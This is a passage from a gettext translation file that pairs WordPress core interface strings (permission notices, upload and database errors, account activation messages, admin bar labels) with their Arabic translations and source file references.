#. translators: %s: Minimum site name length.
#: wp-includes/ms-functions.php:667
msgid "Site name must be at least %s character."
msgid_plural "Site name must be at least %s characters."
msgstr[0] "يجب أن يتكون اسم الموقع من %s حرف على الأقل."
msgstr[1] "يجب أن يتكون اسم الموقع من حرف واحد على الأقل."
msgstr[2] "يجب أن يتكون اسم الموقع من حرفان على الأقل."
msgstr[3] "يجب أن يتكون اسم الموقع من %s أحرف على الأقل."
msgstr[4] "يجب أن يتكون اسم الموقع من %s حرف على الأقل."
msgstr[5] "يجب أن يتكون اسم الموقع من %s حرف على الأقل."

#: wp-includes/class-wp-customize-manager.php:5646
msgid "A static page"
msgstr "صفحة ثابتة"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-customize-manager.php:5314
#: wp-admin/includes/class-custom-background.php:481
#: wp-admin/includes/class-custom-background.php:485
msgid "Background Color"
msgstr "لون الخلفية"

#: wp-includes/class-wp-customize-manager.php:5460
#: wp-includes/customize/class-wp-customize-background-image-control.php:40
#: wp-admin/includes/class-custom-background.php:260
#: wp-admin/includes/template.php:2432
msgid "Background Image"
msgstr "صورة الخلفية"

#: wp-includes/customize/class-wp-customize-media-control.php:247
msgid "Change image"
msgstr "تغيير الصورة"

#. translators: Hidden accessibility text.
#: wp-includes/customize/class-wp-customize-header-image-control.php:150
#: wp-includes/js/dist/block-library.js:19654
#: wp-includes/js/dist/editor.js:7504
msgid "Remove image"
msgstr "إزالة الصورة"

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:786
#: wp-admin/comment.php:83
msgid "Sorry, you are not allowed to edit this comment."
msgstr "عذرًا، غير مسموح لك تحرير هذا التعليق."

#: wp-includes/class-wp-customize-manager.php:5680
msgid "Posts page"
msgstr "صفحة المقالات"

#: wp-includes/script-loader.php:1268
msgid "Allowed Files"
msgstr "الملفات المسموح بها"

#. translators: Hidden accessibility text.
#: wp-includes/class-wp-customize-manager.php:5231
#: wp-includes/class-wp-customize-widgets.php:803
#: wp-includes/class-wp-editor.php:1384
#: wp-includes/customize/class-wp-customize-media-control.php:228
#: wp-includes/customize/class-wp-customize-media-control.php:238
#: wp-includes/customize/class-wp-customize-media-control.php:249
#: wp-includes/customize/class-wp-customize-media-control.php:259
#: wp-includes/customize/class-wp-customize-nav-menu-item-control.php:158
#: wp-includes/media-template.php:608 wp-includes/media.php:4589
#: wp-includes/js/dist/block-library.js:56840
#: wp-includes/js/dist/edit-post.js:391
#: wp-admin/includes/class-walker-nav-menu-edit.php:288
#: wp-admin/includes/class-wp-users-list-table.php:276
#: wp-admin/includes/class-wp-users-list-table.php:487
msgid "Remove"
msgstr "إزالة"

#. translators: Hidden accessibility text.
#: wp-includes/js/dist/block-editor.js:47965
#: wp-includes/js/dist/block-editor.js:48575
#: wp-includes/js/dist/block-editor.js:48588
#: wp-includes/js/dist/block-library.js:56567
#: wp-admin/includes/class-custom-background.php:340
#: wp-admin/includes/class-custom-image-header.php:652
#: wp-admin/includes/class-wp-theme-install-list-table.php:62
#: wp-admin/includes/media.php:2267 wp-admin/includes/media.php:2271
msgid "Upload"
msgstr "رفع"

#: wp-includes/class-wp-xmlrpc-server.php:2262
msgid "Sorry, editing the term failed."
msgstr "عذرا، فشل تحرير العبارة."

#: wp-includes/class-wp-xmlrpc-server.php:2112
msgid "This taxonomy is not hierarchical."
msgstr "هذه الفئة غير هرمية."

#: wp-includes/class-wp-xmlrpc-server.php:2123
#: wp-includes/class-wp-xmlrpc-server.php:2241
#: wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:207
#: wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:301
#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:512
#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:659
#: wp-includes/taxonomy.php:2372 wp-includes/taxonomy.php:3169
msgid "Parent term does not exist."
msgstr "العنصر الأب غير موجود."

#: wp-includes/class-wp-xmlrpc-server.php:2107
#: wp-includes/class-wp-xmlrpc-server.php:2224
msgid "The term name cannot be empty."
msgstr "لا يمكن أن يكون اسم العنصر فارغا."

#: wp-includes/class-wp-xmlrpc-server.php:1582
#: wp-includes/class-wp-xmlrpc-server.php:2213
#: wp-includes/class-wp-xmlrpc-server.php:2323
#: wp-includes/class-wp-xmlrpc-server.php:2403
#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:422
#: wp-includes/taxonomy.php:2356
msgid "Invalid term ID."
msgstr "معرف (ID) العنصر غير صالح."

#: wp-includes/class-wp-tax-query.php:549
#: wp-includes/class-wp-tax-query.php:556 wp-includes/class-wp-term.php:173
#: wp-includes/class-wp-xmlrpc-server.php:2091
#: wp-includes/class-wp-xmlrpc-server.php:2196
#: wp-includes/class-wp-xmlrpc-server.php:2312
#: wp-includes/class-wp-xmlrpc-server.php:2391
#: wp-includes/class-wp-xmlrpc-server.php:2456
#: wp-includes/class-wp-xmlrpc-server.php:2562
#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:189
#: wp-includes/taxonomy.php:570 wp-includes/taxonomy.php:832
#: wp-includes/taxonomy.php:933 wp-includes/taxonomy.php:1125
#: wp-includes/taxonomy.php:1295 wp-includes/taxonomy.php:2194
#: wp-includes/taxonomy.php:2336 wp-includes/taxonomy.php:2725
#: wp-includes/taxonomy.php:2912 wp-includes/taxonomy.php:3123
#: wp-admin/edit-tags.php:13 wp-admin/edit-tags.php:19
#: wp-admin/includes/class-wp-terms-list-table.php:57
msgid "Invalid taxonomy."
msgstr "فئة غير صالحة."

#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:99
#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:166
#: wp-admin/edit-tags.php:29
msgid "Sorry, you are not allowed to manage terms in this taxonomy."
msgstr "عذرًا، غير مسموح لك بإدارة عناصر هذه الفئة."

#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:194
#: wp-admin/edit-tags.php:23
msgid "Sorry, you are not allowed to edit terms in this taxonomy."
msgstr "عذرًا، غير مسموح لك بتحرير العناصر في هذه الفئة."

#: wp-includes/class-wp-xmlrpc-server.php:2097
#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:481
#: wp-admin/edit-tags.php:86
msgid "Sorry, you are not allowed to create terms in this taxonomy."
msgstr "عذرًا، غير مسموح لك بإنشاء عناصر في هذه الفئة."

#: wp-includes/class-wp-xmlrpc-server.php:2462
#: wp-includes/class-wp-xmlrpc-server.php:2568
msgid "Sorry, you are not allowed to assign terms in this taxonomy."
msgstr "عذرًا، غير مسموح لك بربط عناصر هذه الفئة."

#: wp-includes/class-wp-xmlrpc-server.php:2337
msgid "Sorry, deleting the term failed."
msgstr "عذرًا، فشل حذف العنصر."

#: wp-includes/widgets/class-wp-widget-links.php:147
msgid "Select Link Category:"
msgstr "اختر تصنيف الرابط:"

#. translators: ARIA label for the Template Settings Sidebar tab, not selected.
#. translators: Text label for the Template Settings Sidebar tab.
#: wp-includes/class-wp-xmlrpc-server.php:567
#: wp-includes/js/dist/edit-post.js:6942 wp-includes/js/dist/edit-post.js:6954
#: wp-includes/js/dist/edit-post.js:6955 wp-includes/js/dist/edit-post.js:7468
#: wp-includes/js/dist/edit-post.js:7483 wp-includes/js/dist/edit-post.js:7556
#: wp-includes/js/dist/edit-site.js:13048
#: wp-includes/js/dist/edit-site.js:13059
#: wp-includes/js/dist/edit-site.js:13061
#: wp-includes/js/dist/edit-site.js:14911
#: wp-includes/js/dist/edit-site.js:14946
#: wp-includes/js/dist/edit-site.js:15521
#: wp-admin/includes/class-wp-posts-list-table.php:1835
#: wp-admin/includes/meta-boxes.php:1029
msgid "Template"
msgstr "نموذج"

#: wp-includes/class-wp-xmlrpc-server.php:572 wp-admin/includes/file.php:54
#: wp-admin/includes/file.php:62
msgid "Stylesheet"
msgstr "ملف التنسيق"

#: wp-includes/widgets/class-wp-widget-links.php:183
msgid "Number of links to show:"
msgstr "عدد الروابط التي ستُعرض:"

#: wp-includes/widgets/class-wp-widget-links.php:158
#: wp-includes/js/dist/block-library.js:34132
#: wp-includes/js/dist/block-library.js:35046
msgid "Link title"
msgstr "عنوان الرابط"

#: wp-includes/widgets/class-wp-widget-links.php:159
msgid "Link rating"
msgstr "تقييم الرابط"

#: wp-includes/widgets/class-wp-widget-links.php:160
msgid "Link ID"
msgstr "معرف الرابط (ID)"

#. translators: %s: Theme directory name.
#: wp-includes/class-wp-theme.php:441 wp-includes/class-wp-theme.php:461
msgid "The \"%s\" theme is not a valid parent theme."
msgstr "القالب \"%s\" ليس بقالب رئيسي (أب) صالح."

#: wp-includes/class-wp-theme.php:308
msgid "Stylesheet is not readable."
msgstr "ملف التنسيق غير قابل للقراءة."

#: wp-includes/class-wp-customize-control.php:590
#: wp-includes/class-wp-customize-nav-menus.php:707
#: wp-includes/widgets/class-wp-nav-menu-widget.php:190 wp-admin/export.php:223
#: wp-admin/export.php:228 wp-admin/export.php:275 wp-admin/export.php:280
#: wp-admin/export.php:320 wp-admin/export.php:325
#: wp-admin/includes/template.php:746 wp-admin/nav-menus.php:896
#: wp-admin/options-privacy.php:296 wp-admin/options-reading.php:121
#: wp-admin/options-reading.php:138 wp-admin/widgets-form.php:317
msgid "&mdash; Select &mdash;"
msgstr "&mdash; اختيار &mdash;"

#: wp-includes/class-wp-customize-manager.php:5645
#: wp-admin/options-reading.php:97
msgid "Your latest posts"
msgstr "آخر مقالاتك"

#. translators: %s: Document title from the preview.
#: wp-includes/class-wp-customize-manager.php:4574
msgid "Customize: %s"
msgstr "تخصيص: %s"

#: wp-includes/class-wp-customize-manager.php:5151
#: wp-includes/js/dist/editor.js:6084 wp-admin/options-general.php:89
msgid "Tagline"
msgstr "سطر الوصف"

#. translators: 'navigation' as in website navigation.
#: wp-includes/js/dist/block-library.js:30242
#: wp-includes/js/dist/block-library.js:30457
#: wp-includes/js/dist/block-library.js:31140
#: wp-includes/js/dist/edit-site.js:5768 wp-includes/js/dist/edit-site.js:7903
#: wp-admin/index.php:57
msgid "Navigation"
msgstr "التنقّل"

#: wp-includes/class-wp-xmlrpc-server.php:1453
#: wp-includes/class-wp-xmlrpc-server.php:5748
msgid "The post type may not be changed."
msgstr "هذا النوع من المحتوى قد لا يمكن تغييره."

#: wp-includes/class-wp-xmlrpc-server.php:557
msgid "Image default size"
msgstr "الحجم الافتراضي للصورة"

#: wp-includes/class-wp-xmlrpc-server.php:562
msgid "Image default align"
msgstr "المحاذاة الافتراضية للصورة"

#: wp-includes/class-wp-xmlrpc-server.php:552
msgid "Image default link type"
msgstr "نوع رابط الصورة الافتراضي"

#: wp-includes/class-wp-xmlrpc-server.php:1450
#: wp-includes/class-wp-xmlrpc-server.php:1937
#: wp-includes/class-wp-xmlrpc-server.php:4776
#: wp-includes/class-wp-xmlrpc-server.php:4960
#: wp-includes/class-wp-xmlrpc-server.php:5199
#: wp-includes/class-wp-xmlrpc-server.php:5738
#: wp-includes/class-wp-xmlrpc-server.php:6058
#: wp-includes/class-wp-xmlrpc-server.php:6431
#: wp-includes/class-wp-xmlrpc-server.php:6620
#: wp-includes/class-wp-xmlrpc-server.php:6678
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:489
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:804
#: wp-admin/includes/ajax-actions.php:2045 wp-admin/includes/media.php:3805
#: wp-admin/includes/post.php:274 wp-admin/includes/post.php:1964
#: wp-admin/includes/post.php:1968
msgid "Sorry, you are not allowed to edit this post."
msgstr "عذرًا، غير مسموح لك بتحرير هذه المقالة."

#: wp-includes/post.php:5244 wp-admin/includes/ajax-actions.php:124
#: wp-admin/includes/meta-boxes.php:574 wp-admin/includes/post.php:562
#: wp-admin/includes/post.php:2140 wp-admin/js/inline-edit-post.js:358
#: wp-admin/js/tags-box.js:9 wp-admin/js/tags-suggest.js:12
msgctxt "tag delimiter"
msgid ","
msgstr "،"

#: wp-includes/admin-bar.php:396
msgid "Edit Site"
msgstr "تحرير الموقع"

#: wp-includes/class-wp-xmlrpc-server.php:1496
#: wp-includes/class-wp-xmlrpc-server.php:5453
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:1297
#: wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:600
msgid "Invalid author ID."
msgstr "معرف مؤلف (ID) غير صالح."

#: wp-includes/class-wp-xmlrpc-server.php:1569
#: wp-includes/class-wp-xmlrpc-server.php:1596
msgid "Sorry, one of the given taxonomies is not supported by the post type."
msgstr "عذراً، إحدى الفئات المعطاة غير مدعومة من نوع المحتوى."

#: wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:294
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:1076
#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:489
msgid "The post cannot be deleted."
msgstr "لا يمكن حذف المقالة."

#: wp-includes/class-wp-xmlrpc-server.php:1629
msgid "Ambiguous term name used in a hierarchical taxonomy. Please use term ID instead."
msgstr "اسم عنصر غامض مستعمل في فئة هرمية، يرجى استعمال رقم العنصر بدلاً من ذلك."

#: wp-includes/class-wp-xmlrpc-server.php:3491
msgid "Sorry, you are not allowed to delete this category."
msgstr "عذرًا، غير مسموح لك بحذف هذا التصنيف."

#: wp-includes/class-wp.php:311 wp-includes/ms-deprecated.php:277
#: wp-includes/ms-deprecated.php:296
msgid "Sorry, you are not allowed to view this item."
msgstr "عذراً، غير مسموح لك بعرض هذا العنصر."

#: wp-includes/class-wp-xmlrpc-server.php:1467
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:1444
msgid "Sorry, you are not allowed to create private posts in this post type."
msgstr "عذرًا، غير مسموح لك بإنشاء مقالات خاصة في هذا النوع من المحتوى."

#: wp-includes/class-wp-xmlrpc-server.php:1484
msgid "Sorry, you are not allowed to create password protected posts in this post type."
msgstr "عذرًا، غير مسموح لك بإنشاء مقالات محمية بكلمة مرور في هذا النوع من المحتوى."

#: wp-includes/class-wp-xmlrpc-server.php:2003
#: wp-includes/class-wp-xmlrpc-server.php:4567
#: wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:95
#: wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:157
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:161
#: wp-admin/edit.php:22 wp-admin/edit.php:47 wp-admin/post.php:135
msgid "Sorry, you are not allowed to edit posts in this post type."
msgstr "عذراً، غير مسموح لك بتحرير المقالات في هذا النوع من المحتوى."

#: wp-includes/class-wp-xmlrpc-server.php:1490
#: wp-includes/class-wp-xmlrpc-server.php:5440
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:601
#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:617
#: wp-admin/includes/post.php:43 wp-admin/includes/post.php:88
#: wp-admin/post-new.php:61 wp-admin/press-this.php:20
msgid "Sorry, you are not allowed to create posts as this user."
msgstr "عذرًا، غير مسموح لك بإنشاء مقالات بهذا المستخدم."

#: wp-includes/class-wp-xmlrpc-server.php:1637
msgid "Sorry, you are not allowed to add a term to one of the given taxonomies."
msgstr "عذرًا، غير مسموح لك بإضافة عنصر لإحدى الفئات المعطاة."

#: wp-includes/class-wp-xmlrpc-server.php:1573
#: wp-includes/class-wp-xmlrpc-server.php:1600
msgid "Sorry, you are not allowed to assign a term to one of the given taxonomies."
msgstr "عذرًا، غير مسموح لك بربط عنصر بإحدى الفئات المعطاة."

#: wp-includes/general-template.php:1224 wp-includes/general-template.php:1714
msgctxt "yearly archives date format"
msgid "Y"
msgstr "Y"

#: wp-includes/general-template.php:1227 wp-includes/general-template.php:1717
msgctxt "monthly archives date format"
msgid "F Y"
msgstr "F Y"

#. translators: Prime, for example in 9' (nine feet).
#: wp-includes/formatting.php:92
msgctxt "prime"
msgid "&#8242;"
msgstr "&#8242;"

#. translators: Double prime, for example in 9" (nine inches).
#: wp-includes/formatting.php:94
msgctxt "double prime"
msgid "&#8243;"
msgstr "&#8243;"

#. translators: Apostrophe, for example in 'cause or can't.
#: wp-includes/formatting.php:89
msgctxt "apostrophe"
msgid "&#8217;"
msgstr "&#8217;"

#: wp-signup.php:213
msgid "Allow search engines to index this site."
msgstr "السماح لمحركات البحث بفهرسة هذا الموقع."

#: wp-load.php:100
msgid "Create a Configuration File"
msgstr "إنشاء ملف الإعدادات"

#. translators: %s: wp-config.php
#: wp-load.php:97
msgid "You can create a %s file through a web interface, but this doesn't work for all server setups. The safest way is to manually create the file."
msgstr "يمكنك إنشاء الملف %s مباشرةً من خلال واجهة ويب، لكن هذه الطريقة لا تعمل مع جميع إعدادات الخوادم، الطريقة الأكثر أماناُ هي إنشاء الملف يدوياً."

#. translators: 1: Login URL, 2: Username, 3: User email address, 4: Lost
#. password URL.
#: wp-activate.php:152
msgid "Your account has been activated. You may now <a href=\"%1$s\">log in</a> to the site using your chosen username of &#8220;%2$s&#8221;. Please check your email inbox at %3$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can <a href=\"%4$s\">reset your password</a>."
msgstr "تم تفعيل حسابك. يمكنك الآن <a href=\"%1$s\">تسجيل الدخول</a> للموقع باسم المستخدم &#8220;%2$s&#8221;. رجاءً، مراجعة صندوق البريد الوارد في بريدك الإلكتروني %3$s للحصول على كلمة المرور وقراءة التعليمات. في حال عدم وصول الرسالة إلى صندوق البريد الوارد، قم بالبحث عنها في صندوق الرسائل المهملة أو في صندوق الرسائل المزعجة (سبام). إن لم تصلك الرسالة في غضون ساعة يمكنك طلب <a href=\"%4$s\">استعادة كلمة المرور</a>."

#. translators: 1: Link to new site, 2: Login URL, 3: Username.
#: wp-signup.php:552
msgid "%1$s is your new site. <a href=\"%2$s\">Log in</a> as &#8220;%3$s&#8221; using your existing password."
msgstr "أصبح %1$s هو موقعك الجديد. يمكنك <a href=\"%2$s\">تسجيل الدخول</a> باسم &#8221;%3$s&#8220; باستخدام كلمة المرور الموجودة لديك."

#. translators: 1: Site URL, 2: Username, 3: User email address, 4: Lost
#. password URL.
#: wp-activate.php:161
msgid "Your site at %1$s is active. You may now log in to your site using your chosen username of &#8220;%2$s&#8221;. Please check your email inbox at %3$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can <a href=\"%4$s\">reset your password</a>."
msgstr "أصبح موقعك الآن لدى %1$s مفعّلاً. تستطيع تسجيل الدخول لموقعك باستخدام اسم المستخدم الخاص بك &#8220;%2$s&#8221;. يرجى مراجعة صندوق البريد الوارد في بريدك الإلكتروني  %3$s للحصول على كلمة المرور وقراءة التعليمات. في حال عدم وصول الرسالة إلى صندوق البريد الوارد، الرجاء قم بالبحث عنها في صندوق الرسائل المهملة. إذا لم تصلك الرسالة في غضون ساعة يمكنك طلب <a href=\"%4$s\">استعادة كلمة المرور</a>."

#. translators: %s: Database repair URL.
#: wp-includes/functions.php:1823
msgid "One or more database tables are unavailable. The database may need to be <a href=\"%s\">repaired</a>."
msgstr "هناك جدول أو مجموعة من الجداول في قاعدة البيانات غير متوفّرة. ربما يجب <a href=\"%s\">إصلاح</a> قاعدة البيانات."

#: wp-includes/comment.php:775 wp-includes/comment.php:935
msgid "You are posting comments too quickly. Slow down."
msgstr "أنت تقوم بنشر التعليقات بسرعة كبيرة. تمهّل قليلاً."

#: wp-includes/admin-bar.php:941
msgctxt "admin bar menu group label"
msgid "New"
msgstr "جديد"

#. translators: %s: File name.
#: wp-includes/script-loader.php:958
msgid "%s exceeds the maximum upload size for the multi-file uploader when used in your browser."
msgstr "%s يتجاوز حجم الرفع الأقصى لأداة الرفع متعددة الملفات عند استخدامها في متصفحك."

#. translators: %s: File name.
#. translators: %s: Name of the file that failed to upload.
#: wp-includes/script-loader.php:967 wp-admin/async-upload.php:124
msgid "&#8220;%s&#8221; has failed to upload."
msgstr "&#8220;%s&#8221; فشلت عملية الرفع."

#. translators: 1: Opening link tag, 2: Closing link tag.
#: wp-includes/script-loader.php:956
msgid "Please try uploading this file with the %1$sbrowser uploader%2$s."
msgstr "يُرجى محاولة رفع الملف بواسطة %1$sأداة الرفع من المتصفح%2$s."

#: wp-includes/widgets/class-wp-widget-links.php:149
msgctxt "links widget"
msgid "All Links"
msgstr "كافة الروابط"

#. translators: En dash.
#: wp-includes/formatting.php:102
msgctxt "en dash"
msgid "&#8211;"
msgstr "&#8211;"

#. translators: Em dash.
#: wp-includes/formatting.php:104
msgctxt "em dash"
msgid "&#8212;"
msgstr "&#8212;"

#: wp-includes/class-wp-admin-bar.php:146
msgid "The menu ID should not be empty."
msgstr "يجب ألا يكون معرف القائمة (ID) فارغا."

#. translators: Hidden accessibility text.
#: wp-includes/admin-bar.php:136 wp-includes/admin-bar.php:156
msgid "About WordPress"
msgstr "نبذة عن ووردبريس"

#. translators: %s: File name.
#: wp-includes/script-loader.php:943
msgid "%s exceeds the maximum upload size for this site."
msgstr "تجاوز %s حجم الرفع الأقصى في هذا الموقع."

#: wp-includes/admin-bar.php:197
msgid "Feedback"
msgstr "طلبات واقتراحات"

#: wp-includes/comment.php:3636
msgid "<strong>Error:</strong> Please enter a valid email address."
msgstr "<strong>خطأ:</strong> يرجى إدخال عنوان بريد إلكتروني صالح."

#: wp-includes/comment.php:3664
msgid "<strong>Error:</strong> Please type your comment text."
msgstr "<strong>خطأ:</strong> الرجاء كتابة نصّ تعليقك."

#: wp-includes/admin-bar.php:177
msgid "Documentation"
msgstr "وثائق المساعدة"

#: wp-includes/formatting.php:3958 wp-includes/general-template.php:4608
#: wp-admin/themes.php:251
msgid "&hellip;"
msgstr "&hellip;"

#: wp-includes/functions.php:5348
msgid "Database Error"
msgstr "خطأ في قاعدة البيانات"

#: wp-includes/class-wpdb.php:2067 wp-includes/functions.php:5348
#: wp-includes/ms-load.php:471
msgid "Error establishing a database connection"
msgstr "خطأ في إنشاء اتصال بقاعدة البيانات"

#. translators: %s: Number of comments.
#: wp-includes/comment-template.php:937 wp-includes/comment-template.php:952
#: wp-admin/includes/ajax-actions.php:476
#: wp-admin/includes/ajax-actions.php:1419 wp-admin/includes/dashboard.php:335
msgid "%s Comment"
msgid_plural "%s Comments"
msgstr[0] "لا تعليق"
msgstr[1] "تعليق واحد"
msgstr[2] "تعليقان"
msgstr[3] "%s تعليقات"
msgstr[4] "%s تعليق"
msgstr[5] "%s تعليق"

#: wp-includes/admin-bar.php:167
#: wp-includes/widgets/class-wp-widget-meta.php:92
msgid "WordPress.org"
msgstr "WordPress.org"

#. translators: %s: Site title.
#. translators: Network admin screen title. %s: Network title.
#: wp-includes/admin-bar.php:362 wp-admin/admin-header.php:40
msgid "Network Admin: %s"
msgstr "مدير الشبكة: %s"

#: wp-includes/class-wp-taxonomy.php:613
msgctxt "taxonomy singular name"
msgid "Tag"
msgstr "وسم"

#: wp-includes/class-wp-taxonomy.php:612
msgctxt "taxonomy general name"
msgid "Tags"
msgstr "وسوم"

#. translators: 1: wp_enqueue_scripts, 2: admin_enqueue_scripts, 3:
#. login_enqueue_scripts
#: wp-includes/functions.wp-scripts.php:50
msgid "Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks."
msgstr "البرامج النصية والتنسيقات لا يجب أن تكون مسجّلة أو موجودة في قائمة الانتظار قبل الخطاطيف: %1$s، %2$s، أو %3$s."

#. translators: 1: Home URL, 2: Admin URL.
#: wp-includes/ms-functions.php:2196
msgid "You have been added to this site. Please visit the <a href=\"%1$s\">homepage</a> or <a href=\"%2$s\">log in</a> using your username and password."
msgstr "تمّت إضافتك إلى هذا الموقع. يرجى زيارة <a href=\"%1$s\">الصفحة الرئيسية</a> أو <a href=\"%2$s\">تسجيل الدخول</a> باستخدام اسم المستخدم وكلمة مرورك."

#: wp-includes/script-loader.php:947
msgid "Memory exceeded. Please try another smaller file."
msgstr "تمّ تجاوز الذاكرة. يرجى المحاولة من جديد مع ملف أصغر."

#: wp-includes/script-loader.php:946
msgid "This file is not an image. Please try another."
msgstr "هذا الملف ليس بصورة. الرجاء المحاولة مرة أخرى."

#: wp-includes/script-loader.php:948
msgid "This is larger than the maximum size. Please try another."
msgstr "الحجم تجاوز الحد الأقصى المسموح. يرجى المحاولة مع ملف آخر."

#: wp-includes/general-template.php:4753
msgctxt "admin color scheme"
msgid "Blue"
msgstr "الأزرق"

#: wp-includes/formatting.php:4945
msgid "The timezone you have entered is not valid. Please select a valid timezone."
msgstr "المنطقة الزمنية التي أدخلتها غير صالحة. المرجو تحديد منطقة زمنية صالحة."

#: wp-includes/post.php:77
msgctxt "add new from admin bar"
msgid "Media"
msgstr "ملف وسائط"

#: wp-includes/admin-bar.php:934
msgctxt "add new from admin bar"
msgid "User"
msgstr "عضو"

#: wp-includes/class-wp-taxonomy.php:624
msgid "View Tag"
msgstr "مشاهدة الوسم"

#: wp-includes/class-wp-taxonomy.php:624
msgid "View Category"
msgstr "مشاهدة التصنيف"

#: wp-includes/pluggable.php:1266 wp-includes/pluggable.php:1311
msgid "You should specify an action to be verified by using the first parameter."
msgstr "يجب تحديد إجراء ليتم التحقق منه باستخدام المتغيّر الأول."

#. translators: 1: Site URL, 2: Login URL.
#: wp-activate.php:196
msgid "Your account is now activated. <a href=\"%1$s\">View your site</a> or <a href=\"%2$s\">Log in</a>"
msgstr "حسابك الآن مفعّل. <a href=\"%1$s\">مشاهدة الموقع</a> أو <a href=\"%2$s\">تسجيل الدخول</a>"

#. translators: 1: Login URL, 2: Network home URL.
#: wp-activate.php:204
msgid "Your account is now activated. <a href=\"%1$s\">Log in</a> or go back to the <a href=\"%2$s\">homepage</a>."
msgstr "حسابك الآن مفعّل. <a href=\"%1$s\">سجل الدخول</a> أو ارجع إلى <a href=\"%2$s\">الصفحة الرئيسية</a>."

#: wp-includes/class-wp-post-type.php:843
msgid "All Pages"
msgstr "كل الصفحات"

#: wp-includes/class-wp-post-type.php:843
msgid "All Posts"
msgstr "كل المقالات"

#: wp-includes/class-wp-editor.php:1257
#: wp-includes/js/dist/block-editor.js:36177
#: wp-includes/js/dist/block-editor.js:41883
#: wp-includes/js/dist/block-editor.js:56340
#: wp-includes/js/dist/block-library.js:4944
#: wp-includes/js/dist/block-library.js:34084
#: wp-includes/js/dist/block-library.js:34996
#: wp-includes/js/dist/editor.js:7786
#: wp-includes/js/dist/format-library.js:1041
msgid "Link"
msgstr "رابط"

#: wp-includes/class-walker-comment.php:261
msgid "Pingback:"
msgstr "تنبيه:"

#: wp-includes/link-template.php:2768
msgid "Post navigation"
msgstr "تصفّح المقالات"

#: wp-includes/link-template.php:3281 wp-includes/link-template.php:3344
msgid "Comments navigation"
msgstr "تصفّح التعليقات"

#: wp-includes/class-wp-editor.php:1232
msgid "Poster"
msgstr "ملصق"

#: wp-includes/media-template.php:1339 wp-includes/media-template.php:1438
#: wp-includes/widgets/class-wp-widget-media-audio.php:72
#: wp-includes/widgets/class-wp-widget-media-video.php:74
#: wp-includes/js/dist/block-library.js:56276
msgid "Preload"
msgstr "تحميل مسبق"

#: wp-includes/class-wp-admin-bar.php:469 wp-admin/user-edit.php:342
msgid "Toolbar"
msgstr "شريط الأدوات"

#: wp-includes/class-wp-http.php:300
msgid "Destination directory for file streaming does not exist or is not writable."
msgstr "المجلد الهدف لتدفق الملفات غير موجود أو غير قابل للكتابة."

#: wp-includes/class-wp-http.php:580
msgid "There are no HTTP transports available which can complete the requested request."
msgstr "لا يوجد بروتوكول HTTP متوفر يمكنك من إكمال الطلب."

#: wp-includes/taxonomy.php:178
#: wp-admin/includes/class-wp-posts-list-table.php:1984
#: wp-admin/includes/meta-boxes.php:1592
msgctxt "post format"
msgid "Format"
msgstr "بنية المقالة"

#: wp-includes/class-wp-editor.php:1896
msgid "Or link to existing content"
msgstr "أو قم بالربط مع محتوى موجود"

#: wp-includes/class-wp-editor.php:1882
msgid "Enter the destination URL"
msgstr "أدخل رابط التحويل"

#: wp-includes/query.php:165 wp-includes/query.php:191
#: wp-includes/query.php:217 wp-includes/query.php:246
#: wp-includes/query.php:275 wp-includes/query.php:304
#: wp-includes/query.php:341 wp-includes/query.php:365
#: wp-includes/query.php:391 wp-includes/query.php:417
#: wp-includes/query.php:437 wp-includes/query.php:470
#: wp-includes/query.php:503 wp-includes/query.php:533
#: wp-includes/query.php:557 wp-includes/query.php:588
#: wp-includes/query.php:612 wp-includes/query.php:636
#: wp-includes/query.php:656 wp-includes/query.php:676
#: wp-includes/query.php:700 wp-includes/query.php:733
#: wp-includes/query.php:766 wp-includes/query.php:790
#: wp-includes/query.php:814 wp-includes/query.php:838
#: wp-includes/query.php:862 wp-includes/query.php:882
#: wp-includes/query.php:906
msgid "Conditional query tags do not work before the query is run. Before then, they always return false."
msgstr "الاستعلامات الشرطية لا تعمل قبل تنفيذ الاستعلام. قبل ذلك، ستعيد لك دائماً رسالة خطأ (FALSE)."

#: wp-includes/ms-functions.php:1169
msgid "The user is already active."
msgstr "هذا العضو مُفعّل مسبقاً."

#. translators: %s: Version number.
#: wp-includes/functions.php:5848
msgid "(This message was added in version %s.)"
msgstr "(هذه الرسالة تمّت إضافتها في النسخة %s.)"

#. translators: Developer debugging message. 1: PHP function name, 2:
#. Explanatory message, 3: WordPress version number.
#: wp-includes/functions.php:5860
msgid "Function %1$s was called <strong>incorrectly</strong>. %2$s %3$s"
msgstr "%1$s تمّ استدعائه بشكل <strong>غير صحيح</strong>. %2$s %3$s"

#. translators: %s: Comment URL.
#: wp-includes/pluggable.php:1776
msgid "Permalink: %s"
msgstr "الرابط الدائم: %s"

#: wp-includes/post-formats.php:98
msgctxt "Post format"
msgid "Standard"
msgstr "قياسي"

#: wp-signup.php:141
msgid "domain"
msgstr "نطاق"

#. translators: %s: Site address.
